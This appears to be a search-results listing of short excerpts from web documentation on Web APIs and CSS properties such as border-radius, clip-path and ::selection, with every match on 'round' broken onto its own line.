round for this normal shutdown notification, you might track your transactions and add a beforeunload event to warn the user if any transactions have not yet completed at the time of unloading.
...id="search-form"> <div class="button-pane"> <input type="button" id="search-list-button" value="list database content" /> </div> </form> <div> <div id="pub-msg"> </div> <div id="pub-viewer"> </div> <ul id="pub-list"> </ul> </div> css content body { font-size: 0.8em; font-family: sans-serif; } form { backg
round-color: #cccccc; border-radius: 0.3em; display: inline-block; margin-bottom: 0.5em; padding: 1em; } table { border-collapse: collapse; } input { padding: 0.3em; border-color: #cccccc; border-radius: 0.3em; } .required:after { content: "*"; color: red; } .button-pane { margin-top: 1em; } #pub-viewer { float: right; width: 48%; height: 20em; border: solid #d092ff 0...
....1em; } #pub-viewer iframe { width: 100%; height: 100%; } #pub-list { width: 46%; backg
round-color: #eeeeee; border-radius: 0.3em; } #pub-list li { padding-top: 0.5em; padding-bottom: 0.5em; padding-right: 0.5em; } #msg { margin-bottom: 1em; } .action-success { padding: 0.5em; color: #00d21e; backg
round-color: #eeeeee; border-radius: 0.2em; } .action-failure { padding: 0.5em; color: #ff1408; backg
round-color: #eeeeee; border-radius: 0.2em; } .note { font-size: smaller; } .destructive { backg
round-color: orange; } .destructive:hover { backg
round-color: #ff8000; } .destructive:active { backg
round-color: red; } javascript content (function () { var compat_envs = [ ['firefox', ">= 16.0"], ['google chrome', ">= 24.0 (you may need to g...
Using the MediaStream Recording API - Web APIs
instead, the problem was solved by making the third container's height equal to 100% of the parent height, minus the heights and padding of the other two: .sound-clips { box-shadow: inset 0 3px 4px rgba(0,0,0,0.7); backg
round-color: rgba(0,0,0,0.1); height: calc(100% - 240px - 0.7rem); overflow: scroll; } note: calc() has good support across modern browsers too, even going back to internet explorer 9.
...want it, give it fixed position so that it doesn't appear in the layout flow and affect the main ui, transform it to the position we want it to sit in by default, and give it a transition for smooth showing/hiding: aside { position: fixed; top: 0; left: 0; text-shadow: 1px 1px 1px black; width: 100%; height: 100%; transform: translatex(100%); transition: 0.6s all; backg
round-color: #999; backg
round-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5)); } last, we write a rule to say that when the checkbox is checked (when we click/focus the label), the adjacent <aside> element will have its horizontal translation value changed and transition smoothly into view: input[type=checkbox]:checked ~ aside { transform: translatex(0); } basic app setup ...
...first of all, mediarecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.backg
round = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording".
... stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.backg
round = ""; record.style.color = ""; } note that the recording may also stop naturally if the media stream ends (e.g.
Using Service Workers - Web APIs
we could try to work a
round this using .complete, but it’s still not foolproof, and what about multiple images?
... updating your service worker if your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the backg
round, but not yet activated.
...the new version is installing in the backg
round.
... when testing you can get a
round the https restriction by checking the "enable service workers over http (when toolbox is open)" option in the firefox developer tools settings.
Example and tutorial: Simple synth keyboard - Web APIs
we draw this in a pair of nested <div> elements so that we can make the keyboard horizontally scrollable if all the keys don't fit on the screen, without having them wrap a
round.
...ter; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-events: none; } .key div sub { font-size: 10px; pointer-events: none; } .key:hover { backg
round-color: #eef; } .key:active { backg
round-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsbar { padding-top: 8px; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: relative; vertical-align: middle; width: 100%; height: 30px; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vert...
... the values in the example table above have been
rounded to two decimal places.
... once the keyboard has been constructed, we scroll the note "b" in octave 5 into view; this has the effect of ensuring that middle-c is visible along with its sur
rounding keys.
Using Web Workers - Web APIs
web workers are a simple means for web content to run scripts in backg
round threads.
... performing computations in the backg
round workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread.
... performing web i/o in the backg
round you can find an example of this in the article using workers in extensions .
...they will also allow access to push notifications and backg
round sync apis.
XRReferenceSpace - Web APIs
for xr systems that allow the user to physically move a
round, such as those that track movement with a real-world camera, this boundary establishes the edges of the area the user is able to move a
round in, whether due to physical obstacles or due to limitations of the xr hardware.
...if the estimated floor level is non-zero, the browser is expected to
round it such a way as to avoid fingerprinting (likely to the nearest centimeter).
...the viewer isn't tracked at all; tracking is optimized for stability a
round the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move a
round, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of backg
round colors and images in browsers based on the webkit engine.
... backg
round colors and images are only printed if the user explicitly allows it in their browser's print settings dialog.
... exact backg
round colors and images of the element to which this rule is applied are always printed, user's print settings are overridden.
... examples forcing white-on-black printing article { -webkit-print-color-adjust: exact; backg
round: #222; color: #eee; } specifications not part of any standard, though there is a proposal in the csswg wiki to standardize it.
::selection - CSS: Cascading Style Sheets
::selection { backg
round-color: cyan; } allowable properties only certain css properties can be used with ::selection: color backg
round-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow in particular, backg
round-image is ignored.
...<p>also try selecting text in this paragraph.</p> css ::-moz-selection { color: gold; backg
round-color: red; } p::-moz-selection { color: white; backg
round-color: blue; } /* make selected text gold on a red backg
round */ ::selection { color: gold; backg
round-color: red; } /* make selected text in a paragraph white on a blue backg
round */ p::selection { color: white; backg
round-color: blue; } result accessibility concerns don't override selected text styles for purely aesthetic reasons — users can customize them to suit their needs.
... if overridden, it is important to ensure that the contrast ratio between the text and backg
round colors of the selection is high enough that people experiencing low vision conditions can read it.
... color contrast ratio is found by comparing the luminosity of the selected text and the selected text backg
round colors.
:empty - CSS: Cascading Style Sheets
/* selects any <div> that contains no content */ div:empty { backg
round: lime; } syntax :empty examples html <div class="box"><!-- i will be lime.
... --></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace a
round this comment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements a
round this comment.
... --></p> </div> css body { display: flex; justify-content: space-a
round; } .box { backg
round: pink; height: 80px; width: 80px; } .box:empty { backg
round: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive content that is empty.
-ms-high-contrast - CSS: Cascading Style Sheets
high contrast mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreg
round and backg
round colors with a user-specified theme.
... @media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { backg
round-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { backg
round-image: url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors.
... highlight: controls the backg
round color of selected text.
... window: controls the color of the backg
round.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
by adding display: contents to the wrapper a
round the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container.
...you can see that as i have used a direct child selector to add the backg
round and borders to the flex items, this has not been applied to our nested children.
... also, having removed the box you cannot then use it to — for example — add a backg
round colour behind the nested sub children.
... if you remove display: contents in this live example you will see that the direct child we are removing has an orange backg
round colour.
Variable fonts guide - CSS: Cascading Style Sheets
this results in more http requests, and more data being downloaded (usually a
round 20k or more per file).
...you can work a
round this limitation by using css custom properties (css variables) for the individual values, and simply modifying the value of an individual custom property.
...the term 'grade' refers to the relative weight or density of the typeface design, but differs from traditional 'weight' in that the physical space the text occupies does not change, so changing the text grade doesn't change the overall layout of the text or elements a
round it.
... resources w3c css fonts module 4 specification (editor’s draft) w3c github issue queue microsoft open type variations introduction microsoft opentype design-variation axis tag registry wakamai fondue (a site that will tell you what your font can do via a simple drag-and-drop inspection interface) axis praxis (the original variable fonts playg
round site) v-fonts.com (a catalog of variable fonts and where to get them) font playg
round (another playg
round for variable fonts with some very unique approaches to user interface) ...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using backg
round position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... implementation suppose an image is given to every item with class toolbtn: .toolbtn { backg
round: url(myfile.png); display: inline-block; height: 20px; width: 20px; } a backg
round position can be added either as two x, y values after the url()() in the backg
round, or as backg
round-position.
... for example: #btn1 { backg
round-position: -20px 0px; } #btn2 { backg
round-position: -40px 0px; } this would move the element with the id 'btn1' 20 pixels to the left and the element with the id 'btn2' 40 pixels to the left (assuming they have the class toolbtn assigned and are affected by the image rule above).
... similarly, you can also make hover states with: #btn:hover { backg
round-position: <pixels shifted right>px <pixels shifted down>px; } ...
Stacking with floated blocks - CSS: Cascading Style Sheets
floating blocks are placed between non-positioned blocks and positioned blocks: the backg
round and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant positioned elements, in order of appearance in the html actually, as you can see in the example below, the backg
round and border of the non-positioned block (div #4) is completely unaffected by floating blocks, but the content is affected.
...this behavior can be shown with an added rule to the above list: the backg
round and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the backg
round and border of that block pops up above the floating blocks and the positioned blocks.
...v id="flo2"> <b>div #3</b><br />float: right;</div> <br /> <div id="sta1"> <b>div #4</b><br />no positioning</div> <div id="abs2"> <b>div #5</b><br />position: absolute;</div> css div { padding: 10px; text-align: center; } b { font-family: sans-serif; } #abs1 { position: absolute; width: 150px; height: 200px; top: 10px; right: 140px; border: 1px dashed #900; backg
round-color: #fdd; } #sta1 { height: 100px; border: 1px dashed #996; backg
round-color: #ffc; margin: 0px 10px 0px 10px; text-align: left; } #flo1 { margin: 0px 10px 0px 20px; float: left; width: 150px; height: 200px; border: 1px dashed #090; backg
round-color: #cfc; } #flo2 { margin: 0px 20px 0px 10px; float: right; width: 150px; height: 200px; border: 1px dashed #090;...
... backg
round-color: #cfc; } #abs2 { position: absolute; width: 150px; height: 100px; top: 130px; left: 100px; border: 1px dashed #990; backg
round-color: #fdd; } ...
Shapes from box values - CSS: Cascading Style Sheets
by using box values for shapes we can wrap our content a
round the edges defined by these values.
... in the example below, we have a circular purple item which is a <div> with a height, width, and backg
round colour.
...as the element has a margin, you can see that the content is flowing a
round the circular shape and the margin applied to it.
...you can create a circular shape using border-radius and then curve text a
round it.
Using CSS transforms - CSS: Cascading Style Sheets
be { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { backg
round: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { backg
round: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom { backg
round: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { backg
round-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result the second element to configure is the position of the viewer, with the perspective-origin property.
...one; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { backg
round: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { backg
round: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { backg
round: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { backg
round: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { backg
round: rgba(196, 196, 0, 0.7); trans...
...form: rotatex(90deg) translatez(50px); } .bottom { backg
round: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { backg
round-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result once you have done this, you can work on the element in the 3d space.
Mozilla CSS extensions - CSS: Cascading Style Sheets
ll-mode [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-backface-visibility [prefixed version still accepted] -moz-backg
round-clipobsolete since gecko 2 -moz-backg
round-originobsolete since gecko 2 -moz-backg
round-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-backg
round-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-bord...
...llbartrack-horizontal scrollbartrack-vertical separator spinner spinner-downbutton spinner-textfield spinner-upbutton statusbar statusbarpanel tab tabpanels tab-scroll-arrow-back tab-scroll-arrow-forward textfield textfield-multiline toolbar toolbarbutton-dropdown toolbox tooltip treeheadercell treeheadersortarrow treeitem treetwisty treetwistyopen treeview window backg
round-image gradients -moz-linear-gradient -moz-radial-gradient elements -moz-element sub-images -moz-image-rect() border-color -moz-use-text-colorobsolete since gecko 52 (removed in bug 1306214); use currentcolor instead.
... border-style and outline-style -moz-bg-insetobsolete since gecko 1.9 -moz-bg-outsetobsolete since gecko 1.9 -moz-bg-solidobsolete since gecko 1.9 <color> keywords -moz-activehyperlinktext -moz-hyperlinktext -moz-visitedhyperlinktext -moz-buttondefault -moz-buttonhoverface -moz-buttonhovertext -moz-default-backg
round-color -moz-default-color -moz-cellhighlight -moz-cellhighlighttext -moz-field -moz-fieldtext -moz-dialog -moz-dialogtext -moz-dragtargetzone -moz-mac-accentdarkestshadow -moz-mac-accentdarkshadow -moz-mac-accentface -moz-mac-accentlightesthighlight -moz-mac-accentlightshadow -moz-mac-accentregularhighlight -moz-mac-accentregularshadow -moz-mac-chrome-active -moz-mac-chrome-inactive -moz-mac-focusring -moz-mac-menuselect -moz-mac-menushadow ...
...nline-gridobsolete since gecko 62 -moz-inline-stackobsolete since gecko 62 -moz-inline-table -moz-gridobsolete since gecko 62 -moz-grid-groupobsolete since gecko 62 -moz-grid-lineobsolete since gecko 62 -moz-groupbox -moz-deckobsolete since gecko 62 -moz-popupobsolete since gecko 62 -moz-stackobsolete since gecko 62 -moz-markerobsolete since gecko 62 empty-cells -moz-show-backg
round (default value in quirks mode) font -moz-button -moz-info -moz-desktop -moz-dialog (also a color) -moz-document -moz-workspace -moz-window -moz-list -moz-pull-down-menu -moz-field (also a color) font-family -moz-fixed image-rendering -moz-crisp-edges <length> -moz-calc list-style-type -moz-arabic-indic -moz-bengali -moz-cjk-earthly-branch -moz-cjk-he...
Privacy and the :visited selector - CSS: Cascading Style Sheets
only the following styles can be applied to visited links: color backg
round-color border-color (and its sub-properties) column-rule-color outline-color the color parts of the fill and stroke attributes in addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.
... here is an example of how to use styles with the aforementioned restrictions: :link { outline: 1px dotted blue; backg
round-color: white; /* the default value of backg
round-color is `transparent`.
...*/ } :visited { outline-color: orange; /* visited links have an orange outline */ backg
round-color: green; /* visited links have a green backg
round */ color: yellow; /* visited links have yellow colored text */ } impact on web developers overall, these restrictions shouldn't affect web developers too significantly.
... they may, however, require the following changes to existing sites: using backg
round images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.
border-bottom-left-radius - CSS: Cascading Style Sheets
the border-bottom-left-radius css property
rounds the bottom-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner.
... the
rounding can be a circle or an ellipse, or if one of the value is 0 no
rounding is done and the corner is square.
... a backg
round, being an image or a color, is clipped at the border, even a
rounded one; the exact location of the clipping is defined by the value of the backg
round-clip property.
... the backg
round color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double; backg
round-color: rgb(250,20,70); backg
round-clip: content-box; } specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
border-bottom-right-radius - CSS: Cascading Style Sheets
the border-bottom-right-radius css property
rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner.
... the
rounding can be a circle or an ellipse, or if one of the value is 0 no
rounding is done and the corner is square.
... a backg
round, being an image or a color, is clipped at the border, even a
rounded one; the exact location of the clipping is defined by the value of the backg
round-clip property.
... the backg
round color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double; backg
round-color: rgb(250,20,70); backg
round-clip: content-box; } specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat:
round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat:
round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
...
round the source image's edge regions are tiled (repeated) to fill the gap between each border.
...it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat |
round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27; border-image-repeat: stretch; /* can be changed in the live sample */ } html <div id="bordered">you can try out various border repetition rules on me!</div> <select id...
...="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="
round">
round</option> <option value="space">space</option> <option value="stretch repeat">stretch repeat</option> <option value="space
round">space
round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-slice - CSS: Cascading Style Sheets
it is discarded by default, but is used like a backg
round image if the keyword fill is set.
... fill preserves the middle image region and displays it like a backg
round image, but stacked above the actual backg
round.
...lice</code></label> <input type="range" min="10" max="45" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image: url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat:
round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { c...
...onst newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-image-slice' in that specification.
border-left-style - CSS: Cascading Style Sheets
d> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px; backg
round-color: #52e385; } tr, td { padding: 3px; } /* border-left-style example classes */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-sty...
...le: outset;} result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-left-style' in that specification.
...roidfirefox for androidopera for androidsafari on iossamsung internetborder-left-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of
rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
... full support 1webview android full support 2.3chrome android full support 18firefox android full support 14notes full support 14notes notes prior to firefox 50, border styles of
rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
border-radius - CSS: Cascading Style Sheets
the border-radius css property
rounds the corners of an element's outer border edge.
... the radius applies to the whole backg
round, even if the element has no border; the exact position of the clipping is defined by the backg
round-clip property.
...-right-radius: a length, percentage or calc();border-bottom-left-radius: a length, percentage or calc(); formal syntax <length-percentage>{1,4} [ / <length-percentage>{1,4} ]?where <length-percentage> = <length> | <percentage> examples border: solid 10px; /* the border will curve into a 'd' */ border-radius: 10px 40px 40px 10px; border: groove 1em red; border-radius: 2em; backg
round: gold; border: ridge gold; border-radius: 13em/3em; border: none; border-radius: 40px 10px; border: none; border-radius: 50%; border: dotted; border-width: 10px 4px; border-radius: 10px 40px; border: dashed; border-width: 2px 4px; border-radius: 40px; live samples sample 1 : http://jsfiddle.net/tripad/qngkj/2/ sample 2 : http://jsfiddle.net/tripad/qngkj/3/ s...
...ample 3 : http://jsfiddle.net/tripad/qngkj/4/ sample 4 : http://jsfiddle.net/tripad/qngkj/5/ sample 5 : http://jsfiddle.net/tripad/qngkj/6/ specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-radius' in that specification.
border-right-style - CSS: Cascading Style Sheets
d> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px; backg
round-color: #52e385; } tr, td { padding: 3px; } /* border-right-style example classes */ .b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {borde...
...r-right-style: outset;} result specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-right-style' in that specification.
...oidfirefox for androidopera for androidsafari on iossamsung internetborder-right-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of
rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
... full support 1webview android full support ≤37chrome android full support 18firefox android full support 14notes full support 14notes notes prior to firefox 50, border styles of
rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
border-top-left-radius - CSS: Cascading Style Sheets
the border-top-left-radius css property
rounds the top-left corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner.
... the
rounding can be a circle or an ellipse, or if one of the value is 0,no
rounding is done and the corner is square.
... a backg
round, being an image or a color, is clipped at the border, even a
rounded one; the exact location of the clipping is defined by the value of the backg
round-clip property.
... an arc of ellipse is used as the border div { border-top-left-radius: 40px 20px; } the box is a square: an arc of circle is used as the border div { border-top-left-radius: 40%; } the box is not a square: an arc of ellipse is used as the border div { border-top-left-radius: 40%; } the backg
round color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double; backg
round-color: rgb(250,20,70); backg
round-clip: content-box; } specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
border-top-right-radius - CSS: Cascading Style Sheets
the border-top-right-radius css property
rounds the top-right corner of an element by specifying the radius (or the radius of the semi-major and semi-minor axes) of the ellipse defining the curvature of the corner.
... the
rounding can be a circle or an ellipse, or if one of the value is 0 no
rounding is done and the corner is square.
... a backg
round, being an image or a color, is clipped at the border, even a
rounded one; the exact location of the clipping is defined by the value of the backg
round-clip property.
... the box is not a square: an arc of ellipse is used as the border div { border-top-right-radius: 40%; } the backg
round color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double; backg
round-color: rgb(250,20,70); backg
round-clip: content-box; } specifications specification status comment css backg
rounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
box-decoration-break - CSS: Cascading Style Sheets
the specified value will impact the appearance of the following properties: backg
round border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below.
...the backg
round is also drawn independently for each fragment, which means that a backg
round image with backg
round-repeat: no-repeat may nevertheless repeat multiple times.
... formal definition initial valuesliceapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax slice | clone examples inline box fragments an inline element that contains line breaks styled with: .example { backg
round: linear-gradient(to bottom right, yellow, green); box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow; padding: 0em 1em; border-radius: 16px; border-style: solid; margin-left: 10px; font: 24px sans-serif; line-height: 2; } ...
... now, the same example but styled with box-decoration-break: clone results in: note here that each fragment has an identical replicated border, box-shadow, and backg
round.
clip-path - CSS: Cascading Style Sheets
ecified, but with <url> values made absoluteanimation typeyes, as specified for <basic-shape>, otherwise no formal syntax <clip-source> | [ <basic-shape> | <geometry-box> ] | nonewhere <clip-source> = <url><basic-shape> = <inset()> | <circle()> | <ellipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <inset()> = inset( <length-percentage>{1,4} [
round <'border-radius'> ]?
...ewbox"> <svg viewbox="0 0 192 192"> <g class="shape9"> <rect x="24" y="24" width="144" height="144" /> <text x="96" y="91">i love</text> <text x="96" y="109" class="em">clipping</text> </g> </svg> </div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; backg
round: #eee; } .grid { width: 100%; height: 100%; display: flex; font: 1em monospace; } .row { display: flex; flex: 1 auto; flex-direction: row; flex-wrap: wrap; } .col { flex: 1 auto; } .cell { margin: .5em; padding: .5em; backg
round-color: #fff; overflow: hidden; text-align: center; flex: 1; } .note { backg
round: #fff3d4; padding: 1em; margin: .5em .5em 0; f...
...; position: absolute; top: 2px; left: 2px; font: italic .6em sans-serif; } .viewbox { box-shadow: 1rem 1rem 0 #efefef inset, -1rem -1rem 0 #efefef inset; } .container.viewbox:after { content: 'viewbox'; position: absolute; left: 1.1rem; top: 1.1rem; font: italic .6em sans-serif; } .cell span { display: block; margin-bottom: .5em; } p { font-family: sans-serif; backg
round: #000; color: pink; margin: 2em; padding: 3em 1em; border: 1em solid pink; width: 6em; } .none { clip-path: none; } .svg { clip-path: url(#mypath); } .svg2 { clip-path: path('m15,45 a30,30,0,0,1,75,45 a30,30,0,0,1,135,45 q135,90,75,130 q15,90,15,45 z');} .shape1 { clip-path: circle(25%); } .shape2 { clip-path: circle(25% at 25% 25%); } .shape3 { clip-path: fill-box circle(25% at 25...
...ht="90"/> <rect x="0" y="110" width="90" height="90"/> <rect x="137" y="0" width="90" height="90"/> <rect x="0" y="0" width="90" height="90"/> </clippath> </defs> </svg> <select id="clippath"> <option value="none">none</option> <option value="circle(100px at 110px 100px)">circle</option> <option value="url(#cross)" selected>cross</option> <option value="inset(20px
round 20px)">inset</option> <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }...
display - CSS: Cascading Style Sheets
run-in elements act like inlines or blocks, depending on the sur
rounding elements.
... valid <display-legacy> values: inline-block the element generates a block element box that will be flowed with sur
rounding content as if it were a single inline box (behaving much like a replaced element would).
... we've included padding and backg
round-color on the containers and their children, so that it is easier to see the effect the display values are having.
...option>inline</option> <option>inline-block</option> <option>none</option> <option>flex</option> <option>inline-flex</option> <option>grid</option> <option>inline-grid</option> <option>table</option> <option>list-item</option> </select> </div> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; padding-top: 10px; } article { backg
round-color: red; } article span { backg
round-color: black; color: white; margin: 1px; } article, span { padding: 10px; border-radius: 7px; } article, div { margin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.
font-family - CSS: Cascading Style Sheets
mily name and a generic family name */ font-family: gill sans extrabold, sans-serif; font-family: "goudy bookletter 1911", sans-serif; /* a generic family name only */ font-family: serif; font-family: sans-serif; font-family: monospace; font-family: cursive; font-family: fantasy; font-family: system-ui; font-family: ui-serif; font-family: ui-sans-serif; font-family: ui-monospace; font-family: ui-
rounded; font-family: emoji; font-family: math; font-family: fangsong; /* global values */ font-family: inherit; font-family: initial; font-family: unset; the font-family property lists one or more font families, separated by commas.
... ui-
rounded the default user interface font that has
rounded features.
... this is example ui-
rounded text.
... working draft adds new generic font families, specifically: system-ui, ui-serif, ui-sans-serif, ui-monospace, ui-
rounded, emoji, math, and fangsong.
mask-border - CSS: Cascading Style Sheets
the source for the mask is a ".png" file of 90 by 90 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is sur
rounded by a bitmap-based mask border!
